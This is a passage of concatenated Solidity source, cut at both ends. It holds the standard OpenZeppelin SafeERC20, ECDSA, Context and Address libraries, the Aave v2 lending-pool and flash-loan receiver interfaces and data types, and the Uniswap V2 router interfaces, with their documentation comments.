function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: agpl-3.0 pragma solidity ^0.8.4; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import { IFlashLoanReceiver } from "./interfaces/IFlashLoanReceiver.sol"; import { ILendingPoolAddressesProvider } from "./interfaces/ILendingPoolAddressesProvider.sol"; import { ILendingPool } from "./interfaces/ILendingPool.sol"; // solhint-disable var-name-mixedcase abstract contract FlashLoanReceiverBase is IFlashLoanReceiver { using SafeERC20 for IERC20; ILendingPoolAddressesProvider public immutable override ADDRESSES_PROVIDER; ILendingPool public immutable override LENDING_POOL; constructor(ILendingPoolAddressesProvider provider) { ADDRESSES_PROVIDER = provider; LENDING_POOL = ILendingPool(provider.getLendingPool()); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity ^0.8.4; import { ILendingPoolAddressesProvider } from "./ILendingPoolAddressesProvider.sol"; import { DataTypes } from "../libraries/DataTypes.sol"; interface ILendingPool { /** * @dev Emitted on deposit() * @param reserve The address of the underlying asset of the reserve * @param user The address initiating the deposit * @param onBehalfOf The beneficiary of the deposit, receiving the aTokens * @param amount The amount deposited * @param referral The referral code used **/ event Deposit( address indexed reserve, address user, address indexed onBehalfOf, uint256 amount, uint16 indexed referral ); /** * @dev Emitted on withdraw() * @param reserve The address of the underlyng asset being withdrawn * @param user The address initiating the withdrawal, owner of aTokens * @param to Address that will receive the underlying * @param amount The amount to be withdrawn **/ event Withdraw(address indexed reserve, address indexed user, address indexed to, uint256 amount); /** * @dev Emitted on borrow() and flashLoan() when debt needs to be opened * @param reserve The address of the underlying asset being borrowed * @param user The address of the user initiating the borrow(), receiving the funds on borrow() or just * initiator of the transaction on flashLoan() * @param onBehalfOf The address that will be getting the debt * @param amount The amount borrowed out * @param borrowRateMode The rate mode: 1 for Stable, 2 for Variable * @param borrowRate The numeric rate at which the user has borrowed * @param referral The referral code used **/ event Borrow( address indexed reserve, address user, address indexed onBehalfOf, uint256 amount, uint256 borrowRateMode, uint256 borrowRate, uint16 indexed referral ); /** * @dev Emitted on repay() * @param reserve The address of the underlying asset of the reserve * @param user The beneficiary of the repayment, getting his debt reduced * @param repayer The address of the user initiating the repay(), providing the funds * @param amount The amount repaid **/ event Repay( address indexed reserve, address indexed user, address indexed repayer, uint256 amount ); /** * @dev Emitted on swapBorrowRateMode() * @param reserve The address of the underlying asset of the reserve * @param user The address of the user swapping his rate mode * @param rateMode The rate mode that the user wants to swap to **/ event Swap(address indexed reserve, address indexed user, uint256 rateMode); /** * @dev Emitted on setUserUseReserveAsCollateral() * @param reserve The address of the underlying asset of the reserve * @param user The address of the user enabling the usage as collateral **/ event ReserveUsedAsCollateralEnabled(address indexed reserve, address indexed user); /** * @dev Emitted on setUserUseReserveAsCollateral() * @param reserve The address of the underlying asset of the reserve * @param user The address of the user enabling the usage as collateral **/ event ReserveUsedAsCollateralDisabled(address indexed reserve, address indexed user); /** * @dev Emitted on rebalanceStableBorrowRate() * @param reserve The address of the underlying asset of the reserve * @param user The address of the user for which the rebalance has been executed **/ event RebalanceStableBorrowRate(address indexed reserve, address indexed user); /** * @dev Emitted on flashLoan() * @param target The address of the flash loan receiver contract * @param initiator The address initiating the flash loan * @param asset The address of the asset being flash borrowed * @param amount The amount flash borrowed * @param premium The fee flash borrowed * @param referralCode The referral code used **/ event FlashLoan( address indexed target, address indexed initiator, address indexed asset, uint256 amount, uint256 premium, uint16 referralCode ); /** * @dev Emitted when the pause is triggered. */ event Paused(); /** * @dev Emitted when the pause is lifted. */ event Unpaused(); /** * @dev Emitted when a borrower is liquidated. This event is emitted by the LendingPool via * LendingPoolCollateral manager using a DELEGATECALL * This allows to have the events in the generated ABI for LendingPool. * @param collateralAsset The address of the underlying asset used as collateral, to receive as result of the liquidation * @param debtAsset The address of the underlying borrowed asset to be repaid with the liquidation * @param user The address of the borrower getting liquidated * @param debtToCover The debt amount of borrowed `asset` the liquidator wants to cover * @param liquidatedCollateralAmount The amount of collateral received by the liiquidator * @param liquidator The address of the liquidator * @param receiveAToken `true` if the liquidators wants to receive the collateral aTokens, `false` if he wants * to receive the underlying collateral asset directly **/ event LiquidationCall( address indexed collateralAsset, address indexed debtAsset, address indexed user, uint256 debtToCover, uint256 liquidatedCollateralAmount, address liquidator, bool receiveAToken ); /** * @dev Emitted when the state of a reserve is updated. NOTE: This event is actually declared * in the ReserveLogic library and emitted in the updateInterestRates() function. Since the function is internal, * the event will actually be fired by the LendingPool contract. The event is therefore replicated here so it * gets added to the LendingPool ABI * @param reserve The address of the underlying asset of the reserve * @param liquidityRate The new liquidity rate * @param stableBorrowRate The new stable borrow rate * @param variableBorrowRate The new variable borrow rate * @param liquidityIndex The new liquidity index * @param variableBorrowIndex The new variable borrow index **/ event ReserveDataUpdated( address indexed reserve, uint256 liquidityRate, uint256 stableBorrowRate, uint256 variableBorrowRate, uint256 liquidityIndex, uint256 variableBorrowIndex ); /** * @dev Deposits an `amount` of underlying asset into the reserve, receiving in return overlying aTokens. * - E.g. User deposits 100 USDC and gets in return 100 aUSDC * @param asset The address of the underlying asset to deposit * @param amount The amount to be deposited * @param onBehalfOf The address that will receive the aTokens, same as msg.sender if the user * wants to receive them on his own wallet, or a different address if the beneficiary of aTokens * is a different wallet * @param referralCode Code used to register the integrator originating the operation, for potential rewards. * 0 if the action is executed directly by the user, without any middle-man **/ function deposit( address asset, uint256 amount, address onBehalfOf, uint16 referralCode ) external; /** * @dev Withdraws an `amount` of underlying asset from the reserve, burning the equivalent aTokens owned * E.g. User has 100 aUSDC, calls withdraw() and receives 100 USDC, burning the 100 aUSDC * @param asset The address of the underlying asset to withdraw * @param amount The underlying amount to be withdrawn * - Send the value type(uint256).max in order to withdraw the whole aToken balance * @param to Address that will receive the underlying, same as msg.sender if the user * wants to receive it on his own wallet, or a different address if the beneficiary is a * different wallet * @return The final amount withdrawn **/ function withdraw( address asset, uint256 amount, address to ) external returns (uint256); /** * @dev Allows users to borrow a specific `amount` of the reserve underlying asset, provided that the borrower * already deposited enough collateral, or he was given enough allowance by a credit delegator on the * corresponding debt token (StableDebtToken or VariableDebtToken) * - E.g. User borrows 100 USDC passing as `onBehalfOf` his own address, receiving the 100 USDC in his wallet * and 100 stable/variable debt tokens, depending on the `interestRateMode` * @param asset The address of the underlying asset to borrow * @param amount The amount to be borrowed * @param interestRateMode The interest rate mode at which the user wants to borrow: 1 for Stable, 2 for Variable * @param referralCode Code used to register the integrator originating the operation, for potential rewards. * 0 if the action is executed directly by the user, without any middle-man * @param onBehalfOf Address of the user who will receive the debt. Should be the address of the borrower itself * calling the function if he wants to borrow against his own collateral, or the address of the credit delegator * if he has been given credit delegation allowance **/ function borrow( address asset, uint256 amount, uint256 interestRateMode, uint16 referralCode, address onBehalfOf ) external; /** * @notice Repays a borrowed `amount` on a specific reserve, burning the equivalent debt tokens owned * - E.g. User repays 100 USDC, burning 100 variable/stable debt tokens of the `onBehalfOf` address * @param asset The address of the borrowed underlying asset previously borrowed * @param amount The amount to repay * - Send the value type(uint256).max in order to repay the whole debt for `asset` on the specific `debtMode` * @param rateMode The interest rate mode at of the debt the user wants to repay: 1 for Stable, 2 for Variable * @param onBehalfOf Address of the user who will get his debt reduced/removed. Should be the address of the * user calling the function if he wants to reduce/remove his own debt, or the address of any other * other borrower whose debt should be removed * @return The final amount repaid **/ function repay( address asset, uint256 amount, uint256 rateMode, address onBehalfOf ) external returns (uint256); /** * @dev Allows a borrower to swap his debt between stable and variable mode, or viceversa * @param asset The address of the underlying asset borrowed * @param rateMode The rate mode that the user wants to swap to **/ function swapBorrowRateMode(address asset, uint256 rateMode) external; /** * @dev Rebalances the stable interest rate of a user to the current stable rate defined on the reserve. * - Users can be rebalanced if the following conditions are satisfied: * 1. Usage ratio is above 95% * 2. the current deposit APY is below REBALANCE_UP_THRESHOLD * maxVariableBorrowRate, which means that too much has been * borrowed at a stable rate and depositors are not earning enough * @param asset The address of the underlying asset borrowed * @param user The address of the user to be rebalanced **/ function rebalanceStableBorrowRate(address asset, address user) external; /** * @dev Allows depositors to enable/disable a specific deposited asset as collateral * @param asset The address of the underlying asset deposited * @param useAsCollateral `true` if the user wants to use the deposit as collateral, `false` otherwise **/ function setUserUseReserveAsCollateral(address asset, bool useAsCollateral) external; /** * @dev Function to liquidate a non-healthy position collateral-wise, with Health Factor below 1 * - The caller (liquidator) covers `debtToCover` amount of debt of the user getting liquidated, and receives * a proportionally amount of the `collateralAsset` plus a bonus to cover market risk * @param collateralAsset The address of the underlying asset used as collateral, to receive as result of the liquidation * @param debtAsset The address of the underlying borrowed asset to be repaid with the liquidation * @param user The address of the borrower getting liquidated * @param debtToCover The debt amount of borrowed `asset` the liquidator wants to cover * @param receiveAToken `true` if the liquidators wants to receive the collateral aTokens, `false` if he wants * to receive the underlying collateral asset directly **/ function liquidationCall( address collateralAsset, address debtAsset, address user, uint256 debtToCover, bool receiveAToken ) external; /** * @dev Allows smartcontracts to access the liquidity of the pool within one transaction, * as long as the amount taken plus a fee is returned. * IMPORTANT There are security concerns for developers of flashloan receiver contracts that must be kept into consideration. * For further details please visit https://developers.aave.com * @param receiverAddress The address of the contract receiving the funds, implementing the IFlashLoanReceiver interface * @param assets The addresses of the assets being flash-borrowed * @param amounts The amounts amounts being flash-borrowed * @param modes Types of the debt to open if the flash loan is not returned: * 0 -> Don't open any debt, just revert if funds can't be transferred from the receiver * 1 -> Open debt at stable rate for the value of the amount flash-borrowed to the `onBehalfOf` address * 2 -> Open debt at variable rate for the value of the amount flash-borrowed to the `onBehalfOf` address * @param onBehalfOf The address that will receive the debt in the case of using on `modes` 1 or 2 * @param params Variadic packed params to pass to the receiver as extra information * @param referralCode Code used to register the integrator originating the operation, for potential rewards. * 0 if the action is executed directly by the user, without any middle-man **/ function flashLoan( address receiverAddress, address[] calldata assets, uint256[] calldata amounts, uint256[] calldata modes, address onBehalfOf, bytes calldata params, uint16 referralCode ) external; /** * @dev Returns the user account data across all the reserves * @param user The address of the user * @return totalCollateralETH the total collateral in ETH of the user * @return totalDebtETH the total debt in ETH of the user * @return availableBorrowsETH the borrowing power left of the user * @return currentLiquidationThreshold the liquidation threshold of the user * @return ltv the loan to value of the user * @return healthFactor the current health factor of the user **/ function getUserAccountData(address user) external view returns ( uint256 totalCollateralETH, uint256 totalDebtETH, uint256 availableBorrowsETH, uint256 currentLiquidationThreshold, uint256 ltv, uint256 healthFactor ); function initReserve( address reserve, address aTokenAddress, address stableDebtAddress, address variableDebtAddress, address interestRateStrategyAddress ) external; function setReserveInterestRateStrategyAddress(address reserve, address rateStrategyAddress) external; function setConfiguration(address reserve, uint256 configuration) external; /** * @dev Returns the configuration of the reserve * @param asset The address of the underlying asset of the reserve * @return The configuration of the reserve **/ function getConfiguration(address asset) external view returns (DataTypes.ReserveConfigurationMap memory); /** * @dev Returns the configuration of the user across all the reserves * @param user The user address * @return The configuration of the user **/ function getUserConfiguration(address user) external view returns (DataTypes.UserConfigurationMap memory); /** * @dev Returns the normalized income normalized income of the reserve * @param asset The address of the underlying asset of the reserve * @return The reserve's normalized income */ function getReserveNormalizedIncome(address asset) external view returns (uint256); /** * @dev Returns the normalized variable debt per unit of asset * @param asset The address of the underlying asset of the reserve * @return The reserve normalized variable debt */ function getReserveNormalizedVariableDebt(address asset) external view returns (uint256); /** * @dev Returns the state and configuration of the reserve * @param asset The address of the underlying asset of the reserve * @return The state of the reserve **/ function getReserveData(address asset) external view returns (DataTypes.ReserveData memory); function finalizeTransfer( address asset, address from, address to, uint256 amount, uint256 balanceFromAfter, uint256 balanceToBefore ) external; function getReservesList() external view returns (address[] memory); function getAddressesProvider() external view returns (ILendingPoolAddressesProvider); function setPause(bool val) external; function paused() external view returns (bool); } // SPDX-License-Identifier: agpl-3.0 pragma solidity ^0.8.4; /** * @title LendingPoolAddressesProvider contract * @dev Main registry of addresses part of or connected to the protocol, including permissioned roles * - Acting also as factory of proxies and admin of those, so with right to change its implementations * - Owned by the Aave Governance * @author Aave **/ interface ILendingPoolAddressesProvider { event MarketIdSet(string newMarketId); event LendingPoolUpdated(address indexed newAddress); event ConfigurationAdminUpdated(address indexed newAddress); event EmergencyAdminUpdated(address indexed newAddress); event LendingPoolConfiguratorUpdated(address indexed newAddress); event LendingPoolCollateralManagerUpdated(address indexed newAddress); event PriceOracleUpdated(address indexed newAddress); event LendingRateOracleUpdated(address indexed newAddress); event ProxyCreated(bytes32 id, address indexed newAddress); event AddressSet(bytes32 id, address indexed newAddress, bool hasProxy); function getMarketId() external view returns (string memory); function setMarketId(string calldata marketId) external; function setAddress(bytes32 id, address newAddress) external; function setAddressAsProxy(bytes32 id, address impl) external; function getAddress(bytes32 id) external view returns (address); function getLendingPool() external view returns (address); function setLendingPoolImpl(address pool) external; function getLendingPoolConfigurator() external view returns (address); function setLendingPoolConfiguratorImpl(address configurator) external; function getLendingPoolCollateralManager() external view returns (address); function setLendingPoolCollateralManager(address manager) external; function getPoolAdmin() external view returns (address); function setPoolAdmin(address admin) external; function getEmergencyAdmin() external view returns (address); function setEmergencyAdmin(address admin) external; function getPriceOracle() external view returns (address); function setPriceOracle(address priceOracle) external; function getLendingRateOracle() external view returns (address); function setLendingRateOracle(address lendingRateOracle) external; } // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; import "./IUniswapV2Router01.sol"; interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/cryptography/ECDSA.sol) pragma solidity ^0.8.0; import "../Strings.sol"; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSA { enum RecoverError { NoError, InvalidSignature, InvalidSignatureLength, InvalidSignatureS, InvalidSignatureV } function _throwError(RecoverError error) private pure { if (error == RecoverError.NoError) { return; // no error: do nothing } else if (error == RecoverError.InvalidSignature) { revert("ECDSA: invalid signature"); } else if (error == RecoverError.InvalidSignatureLength) { revert("ECDSA: invalid signature length"); } else if (error == RecoverError.InvalidSignatureS) { revert("ECDSA: invalid signature 's' value"); } else if (error == RecoverError.InvalidSignatureV) { revert("ECDSA: invalid signature 'v' value"); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature` or error string. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. * * Documentation for signature generation: * - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js] * - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers] * * _Available since v4.3._ */ function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) { // Check the signature length // - case 65: r,s,v signature (standard) // - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._ if (signature.length == 65) { bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } return tryRecover(hash, v, r, s); } else if (signature.length == 64) { bytes32 r; bytes32 vs; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) vs := mload(add(signature, 0x40)) } return tryRecover(hash, r, vs); } else { return (address(0), RecoverError.InvalidSignatureLength); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, signature); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately. * * See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures] * * _Available since v4.3._ */ function tryRecover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address, RecoverError) { bytes32 s; uint8 v; assembly { s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff) v := add(shr(255, vs), 27) } return tryRecover(hash, v, r, s); } /** * @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately. * * _Available since v4.2._ */ function recover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, r, vs); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `v`, * `r` and `s` signature fields separately. * * _Available since v4.3._ */ function tryRecover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address, RecoverError) { // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { return (address(0), RecoverError.InvalidSignatureS); } if (v != 27 && v != 28) { return (address(0), RecoverError.InvalidSignatureV); } // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); if (signer == address(0)) { return (address(0), RecoverError.InvalidSignature); } return (signer, RecoverError.NoError); } /** * @dev Overload of {ECDSA-recover} that receives the `v`, * `r` and `s` signature fields separately. */ function recover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, v, r, s); _throwError(error); return recovered; } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } /** * @dev Returns an Ethereum Signed Message, created from `s`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes memory s) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n", Strings.toString(s.length), s)); } /** * @dev Returns an Ethereum Signed Typed Data, created from a * `domainSeparator` and a `structHash`. This produces hash corresponding * to the one signed with the * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`] * JSON-RPC method as part of EIP-712. * * See {recover}. */ function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: agpl-3.0 pragma solidity ^0.8.4; import { ILendingPoolAddressesProvider } from "./ILendingPoolAddressesProvider.sol"; import { ILendingPool } from "./ILendingPool.sol"; // solhint-disable func-name-mixedcase /** * @title IFlashLoanReceiver interface * @notice Interface for the Aave fee IFlashLoanReceiver. * @author Aave * @dev implement this interface to develop a flashloan-compatible flashLoanReceiver contract **/ interface IFlashLoanReceiver { function executeOperation( address[] calldata assets, uint256[] calldata amounts, uint256[] calldata premiums, address initiator, bytes calldata params ) external returns (bool); function ADDRESSES_PROVIDER() external view returns (ILendingPoolAddressesProvider); function LENDING_POOL() external view returns (ILendingPool); } // SPDX-License-Identifier: agpl-3.0 pragma solidity ^0.8.4; library DataTypes { // refer to the whitepaper, section 1.1 basic concepts for a formal description of these properties. struct ReserveData { //stores the reserve configuration ReserveConfigurationMap configuration; //the liquidity index. Expressed in ray uint128 liquidityIndex; //variable borrow index. Expressed in ray uint128 variableBorrowIndex; //the current supply rate. Expressed in ray uint128 currentLiquidityRate; //the current variable borrow rate. Expressed in ray uint128 currentVariableBorrowRate; //the current stable borrow rate. Expressed in ray uint128 currentStableBorrowRate; uint40 lastUpdateTimestamp; //tokens addresses address aTokenAddress; address stableDebtTokenAddress; address variableDebtTokenAddress; //address of the interest rate strategy address interestRateStrategyAddress; //the id of the reserve. Represents the position in the list of the active reserves uint8 id; } struct ReserveConfigurationMap { //bit 0-15: LTV //bit 16-31: Liq. threshold //bit 32-47: Liq. bonus //bit 48-55: Decimals //bit 56: Reserve is active //bit 57: reserve is frozen //bit 58: borrowing is enabled //bit 59: stable rate borrowing enabled //bit 60-63: reserved //bit 64-79: reserve factor uint256 data; } struct UserConfigurationMap { uint256 data; } enum InterestRateMode {NONE, STABLE, VARIABLE} } // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns ( uint256 amountA, uint256 amountB, uint256 liquidity ); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function removeLiquidity( address tokenA, address tokenB, uint256 liquidity, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns (uint256 amountA, uint256 amountB); function removeLiquidityETH( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external returns (uint256 amountToken, uint256 amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint256 liquidity, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountA, uint256 amountB); function removeLiquidityETHWithPermit( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountToken, uint256 amountETH); function swapExactTokensForTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapTokensForExactTokens( uint256 amountOut, uint256 amountInMax, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapExactETHForTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable returns (uint256[] memory amounts); function 